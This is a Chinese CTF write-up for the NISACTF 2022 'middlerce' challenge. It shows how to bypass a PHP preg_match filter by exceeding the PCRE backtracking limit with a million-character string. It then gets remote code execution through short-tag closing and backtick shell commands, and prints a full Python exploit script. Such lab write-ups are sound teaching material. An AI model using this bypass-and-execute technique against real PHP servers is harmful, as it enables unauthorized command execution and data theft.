0%

[NISACTF 2022]middlerce

[NISACTF 2022]middlerce

rce正则回溯绕过

题目链接:https://www.nssctf.cn/problem/1897

进入环境,看一下代码:

img

这里的preg_match过滤了所有ASCII字符

但是if语句是直接判断的,就可以考虑正则回溯绕过

php中为了防止拒绝服务攻击,给 pcre 设定了一个回溯次数上限,一般是100万次,输入字符串长度超过100万

preg_match函数就会返回false,这里就会绕过判断

写个python脚本测试一下

1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'http://node4.anna.nssctf.cn:28685/'

payload='{"cmd":"phpinfo();","test":"' + "@"*(1000000) + '"}'

data = {'letter': payload}

response = requests.post(url, data=data)

print(response.text)

回显:

img

猜测是被checkdata函数过滤了

Fuzz一下

img

长度198就是被过滤的,很多函数都是用不了的,那只能php标签闭合,反引号执行

1
<?=``?>

相当于

1
<?=echo ... ?>

执行获得flag的位置

1
payload='{"cmd":"?><?= `ls /`?>","test":"' + "@"*(1000000) + '"}'

img

然后

1
payload='{"cmd":"?><?= `nl /f*`?>","test":"' + "@"*(1000000) + '"}'

拿到flag

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://node4.anna.nssctf.cn:28325/'

payload='{"cmd":"?><?= `nl /f*`?>","test":"' + "@"*(1000000) + '"}'

'''
with open("123.txt",'w') as f:
f.write(payload)
'''

data = {'letter': payload}

# 发送 POST 请求
response = requests.post(url, data=data)

# 输出响应内容
print(response.text)

img